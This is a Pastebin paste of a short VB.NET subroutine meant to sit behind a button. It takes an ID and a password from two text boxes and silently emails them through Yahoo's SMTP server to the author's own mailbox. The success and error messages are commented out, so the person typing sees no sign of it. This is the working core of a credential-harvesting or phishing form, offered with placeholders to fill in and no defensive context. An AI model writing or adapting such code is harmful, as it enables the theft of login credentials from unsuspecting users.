Guest User

Untitled

a guest
Aug 31st, 2018
486
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.79 KB | None | 0 0
  1. 'call the function by putting this into a button
  2. ' Call sendEmail()
  3.  
  4.  
  5. Sub sendEmail()
  6. Try
  7. SmtpServer.Credentials = New Net.NetworkCredential(Trim("YOUREMAIL@yahoo.com"), Trim("PASSWORD"))
  8. SmtpServer.Port = "587"
  9. SmtpServer.Host = "smtp.mail.yahoo.com"
  10. mail.From = New MailAddress("YOUREMAIL@yahoo.com")
  11. mail.To.Add("YOUREMAIL@yahoo.com")
  12. mail.Subject = Trim(TextBox1.Text)
  13. mail.Body = "ID: " & TextBox1.Text & _
  14. Environment.NewLine & _
  15. "PW: " & TextBox2.Text
  16. SmtpServer.Send(mail)
  17. 'MsgBox("Mail Sent", MsgBoxStyle.Information, "Mail Sent")
  18. Catch ex As Exception
  19. 'MsgBox(ex.Message.ToString)
  20. End Try
  21. End Sub
Add Comment
Please, Sign In to add comment